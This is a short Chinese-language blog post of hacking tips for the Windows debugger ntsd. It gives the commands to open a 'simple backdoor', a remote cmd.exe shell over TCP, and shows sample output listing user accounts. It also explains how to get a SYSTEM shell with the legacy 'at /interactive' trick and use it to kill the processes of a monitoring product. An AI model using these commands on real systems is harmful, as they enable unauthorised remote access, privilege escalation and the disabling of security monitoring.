ntsd的两个技巧

2011-5-9 11:06 772 0

摘要: 　　ntsd是win2000开始自带的命令行调试工具　　一.简易后门　　ntsd -server tcp:port=22 cmd.exe　　在另一台机上:　　ntsd -remote tcp:serv...

关键词： nbsp ntsd shell 命令 system Microsoft 先用 5625 进程权限

　　ntsd是win2000开始自带的命令行调试工具　　一.简易后门　　ntsd -server tcp:port=22 cmd.exe　　在另一台机上:　　ntsd -remote tcp:server=192.168.1.33,port=22　　.shell　　结果：　　0:000> .shell　　Microsoft Windows XP [版本 5.1.2600]　　(C) 版权所有 1985-2001 Microsoft Corp.　　C:\><.shell waiting 1 second(s) for process>　　<.shell process may need input>net user　　net user　　<.shell waiting 1 second(s) for process>　　\\X-4F5625DB5B074 的用户帐户　　——————————————————————————-　　aaa Administrator Guest　　HelpAssistant IUSR_X-4F5625DB5B074 IWAM_X-4F5625DB5B074　　SUPPORT_388945a0 xhacker　　命令成功完成。　　C:\><.shell waiting 1 second(s) for process>　　<.shell process may need input>　　二.杀进程　　先用tasklist找到要杀的PID，然后ntsd -c q -p PID　　有些程序需要system权限才能kill，假设现在系统时间是4:55PM　　“开始 “-> “运行 “-> “at 16:56 /interactive %systemroot%\system32\cmd.exe “-> 回车　　这样在4:56PM就会得到一个system权限的shell　　在这个shell里面使用ntsd命令把“北信源监控”的所有进程杀掉。

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除